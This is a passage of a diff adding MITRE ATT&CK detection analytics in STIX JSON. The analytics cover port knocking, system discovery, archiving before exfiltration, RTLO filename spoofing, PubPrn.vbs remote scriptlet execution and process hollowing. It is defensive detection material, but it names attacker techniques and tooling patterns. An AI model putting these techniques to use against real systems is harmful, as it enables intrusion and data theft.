"x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF\u00d76 + 16\u00d7MAC)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServicePort", + "description": "Port that becomes available post-knock (e.g., 22/8022/2323)." + }, + { + "field": "KnockResetRatio", + "description": "Percentage of failed attempts with RST/ICMP vs SYN/SYN-ACK to qualify as closed-port probing." + }, + { + "field": "ProcessAllowList", + "description": "Automation expected to touch firewall/daemon configs (config-mgmt agents)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--48d2effa-7fc0-4790-9cc9-bbe573c29301", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0524#AN1450", + "external_id": "AN1450" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1450", + "description": "Remote knock sequence followed by PF/socketfilterfw rule update or a background process listening on a new port; then a successful TCP session. Also flags WoL magic packets on local segment.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "Firewall rule enable/disable or listen socket changes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Closed-port hits followed by success from same src_ip" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PFAnchorPaths", + "description": "Anchors or conf files monitored for change (/etc/pf.conf, /etc/pf.anchors/*)." + }, + { + "field": "DeveloperMode", + "description": "Reduce noise on dev endpoints compiling or testing PF rules." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ac933d77-bdb6-45ed-8fb5-87bae6f225cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0524#AN1451", + "external_id": "AN1451" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1451", + "description": "Crafted \u2018synful knock\u2019 patterns toward routers/switches (same src hits interface/broadcast/network address on same port in short order) followed by ACL/telnet/SSH enablement or module change. Detect device image/ACL updates then a new mgmt session.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "networkdevice:syslog", + "channel": "Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MgmtPortSet", + "description": "Ports whose sudden enablement should alert (23, 22, 2323, 80/443, 4786)." + }, + { + "field": "DeviceRole", + "description": "Applies different thresholds to core/edge/branch devices." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--54bfcc92-e04c-4eac-9aa2-c10b7574088c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0525#AN1452", + "external_id": "AN1452" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1452", + "description": "Process creation and command-line execution of native system discovery utilities such as `systeminfo`, `hostname`, `wmic`, or use of PowerShell/WMI for system enumeration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Detect multiple discovery commands executed in short succession." + }, + { + "field": "UserContext", + "description": "Scope alerts to unusual user accounts or service accounts." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--eca769c3-9497-4c87-b624-4003fd1b0304", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0525#AN1453", + "external_id": "AN1453" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1453", + "description": "Execution of system enumeration commands such as `uname`, `df`, `uptime`, `hostname`, `lscpu`, and `cat /etc/os-release` through local terminal or scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandList", + "description": "Customize list of commands of interest (e.g., uname, lscpu, etc.)" + }, + { + "field": "TerminalSessionID", + "description": "Correlate sessions for behavior context." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--85a20f4b-4171-4450-a34f-17725d44aad9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0525#AN1454", + "external_id": "AN1454" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1454", + "description": "Execution of system info utilities like `systemsetup`, `sw_vers`, `uname`, or `sysctl` by terminal or scripted processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log show --predicate 'process == '" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcess", + "description": "Determine if script or terminal executed the command." + }, + { + "field": "FrequencyThreshold", + "description": "Number of discovery commands in a short window." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--164a04c5-db61-477f-b3fa-8bf806631fbb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0525#AN1455", + "external_id": "AN1455" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1455", + "description": "Execution of `esxcli system hostname get`, `esxcli system version get`, or `esxcli hardware` commands through SSH or local shell.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SessionOrigin", + "description": "Track SSH or console-based entry points." + }, + { + "field": "CommandString", + "description": "Customize detection for expected CLI queries." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d664b158-5035-4e0b-a069-7a5b27ce0936", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0525#AN1456", + "external_id": "AN1456" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1456", + "description": "Use of cloud API calls (e.g., AWS EC2 DescribeInstances, Azure VM Inventory) to enumerate system configurations across assets.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2a80d95f-08c4-48e3-833e-151ef19d90f5", + "name": "AWS:CloudTrail", + "channel": "DescribeInstances, GetConsoleOutput, DescribeImages" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IAMRoleContext", + "description": "Limit detection to non-standard identities performing these calls." + }, + { + "field": "APIFrequency", + "description": "Identify enumeration sweeps by volume." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3ff23082-b5c6-47c0-8d76-a2d6fa88e622", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0525#AN1457", + "external_id": "AN1457" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1457", + "description": "Execution of `show version`, `show hardware`, or `show system` commands through CLI via SSH or console.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "Privilege-level command execution" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Username", + "description": "Highlight unexpected users issuing diagnostic commands." + }, + { + "field": "CommandList", + "description": "Tailor to vendor-specific command syntax." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--eaeb2a44-eebe-41f3-875a-a34abdc03252", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0526#AN1458", + "external_id": "AN1458" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1458", + "description": "Detects adversarial archiving of files prior to exfiltration by correlating execution of compression/encryption utilities (e.g., makecab.exe, rar.exe, 7z.exe, powershell Compress-Archive) with subsequent creation of large compressed or encrypted files. Identifies abnormal process lineage involving crypt32.dll usage, command-line arguments invoking compression switches, and file write operations to temporary or staging directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ArchiveExtensions", + "description": "List of file extensions treated as suspicious when created outside of expected paths." + }, + { + "field": "ProcessAllowlist", + "description": "Known business processes permitted to use compression/encryption utilities." + }, + { + "field": "FileSizeThresholdMB", + "description": "Minimum file size for flagging archive creation to reduce noise from benign small compressions." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8018e3a6-ab64-4fe2-9771-ca129091bc17", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0526#AN1459", + "external_id": "AN1459" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1459", + "description": "Detects adversarial archiving activity through invocation of utilities like tar, gzip, bzip2, or openssl used in non-administrative or unusual contexts. Correlates command execution patterns with file creation of compressed/encrypted outputs in staging directories (e.g., /tmp, /var/tmp).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of tar, gzip, bzip2, or openssl with output redirection" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:FILE", + "channel": "create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ArchiveCommands", + "description": "List of archiving/encryption utilities considered sensitive in the monitored environment." + }, + { + "field": "SuspiciousDirectories", + "description": "Paths where archive creation is suspicious (e.g., /tmp, user home directories)." + }, + { + "field": "TimeWindow", + "description": "Temporal window to correlate command execution with file creation events." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0f4789c9-7946-473f-967b-e8ca59fa3c8c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0526#AN1460", + "external_id": "AN1460" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1460", + "description": "Detects use of macOS-native archiving or encryption tools (zip, ditto, hdiutil) for staging collected data. Identifies unexpected invocation of archive utilities by Office apps, browsers, or background daemons. Correlates file creation of .zip/.dmg containers with process lineage anomalies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "Creation of .zip or .dmg files in user-accessible or temporary directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedArchiveUtilities", + "description": "Business-approved applications (e.g., Time Machine, backup agents) that generate archives." + }, + { + "field": "UserContext", + "description": "Threshold for flagging archive creation under privileged or service accounts." + }, + { + "field": "PayloadEntropyThreshold", + "description": "Entropy threshold for detecting encrypted archives versus standard compressed files." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fb330f70-f0f4-4a5b-9b91-37d29a097a4c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0527#AN1461", + "external_id": "AN1461" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1461", + "description": "Execution of files containing right-to-left override characters (U+202E) to masquerade true file extensions. Often found in phishing payloads or file downloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Windows Defender", + "channel": "Operational" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilenamePattern", + "description": "RTLO variants such as \\u202E, %E2%80%AE, or byte-encoded forms" + }, + { + "field": "ExecutionContext", + "description": "Allows tuning for untrusted sources, e.g., browser downloads or email attachments" + }, + { + "field": "TimeWindow", + "description": "Defines correlation between file creation and process execution" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--667326a7-1f31-4ef1-92c1-6cb5241dadcf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0527#AN1462", + "external_id": "AN1462" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1462", + "description": "Execution of files with reversed filename extensions using Unicode RTLO character. Frequently used to deceive Gatekeeper and users in Safari or Mail-based phishing.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.lsd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "fs:quarantine", + "channel": "/var/log/quarantine.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilenameDisplay", + "description": "Whether user-facing tools display the spoofed name or the true extension" + }, + { + "field": "GatekeeperBypassFlag", + "description": "Whether the execution bypassed translocation or quarantine checks" + }, + { + "field": "UserContext", + "description": "Scope detection to untrusted or non-admin users" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7a72f91d-9c16-4724-b87d-3e5448f81b51", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0527#AN1463", + "external_id": "AN1463" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1463", + "description": "Execution of user-downloaded or created scripts with hidden extensions due to RTLO character insertion in filename, often present in desktop environments or phishing campaigns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:osquery", + "channel": "event-based" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "desktop:file_manager", + "channel": "nautilus, dolphin, or gvfs logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExtensionMismatch", + "description": "Filter based on mismatched visible extension vs. magic bytes or mime-type" + }, + { + "field": "ProcessLineage", + "description": "Correlation between file open and subsequent script interpreter invocation" + }, + { + "field": "FilenameEntropy", + "description": "Suspicious Unicode sequences or byte entropy in filenames" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e7444be7-3c0a-4ff2-927d-f623af05936d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0528#AN1464", + "external_id": "AN1464" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1464", + "description": "Execution of PubPrn.vbs via cscript.exe using the 'script:' moniker to load and execute a remote .sct scriptlet file, bypassing signature validation and proxying remote payloads through a signed Microsoft script host.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineRegex", + "description": "Detects 'script:' moniker with HTTP/HTTPS URI as argument to pubprn.vbs" + }, + { + "field": "ParentProcessName", + "description": "May vary between cscript.exe, wscript.exe, or cmd.exe depending on execution method" + }, + { + "field": "NetworkDestinationDomain", + "description": "Used to detect external domains being contacted for remote scriptlet execution" + }, + { + "field": "TimeWindow", + "description": "Maximum allowed time delta between pubprn.vbs invocation and network connection or child process" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2a23296d-70f2-4e04-9a97-62d093ad1765", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0529#AN1465", + "external_id": "AN1465" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1465", + "description": "Unusual or suspicious processes loading critical native API DLLs (e.g., ntdll.dll, kernel32.dll) followed by direct syscall behavior, memory manipulation, or hollowing.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DllName", + "description": "May tune DLL filters to focus on low-level API providers (e.g., ntdll.dll)" + }, + { + "field": "Image", + "description": "Tune for expected parent processes (e.g., explorer.exe, winlogon.exe)" + }, + { + "field": "TargetProcess", + "description": "Scope to suspicious targets like LSASS, csrss, etc." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": 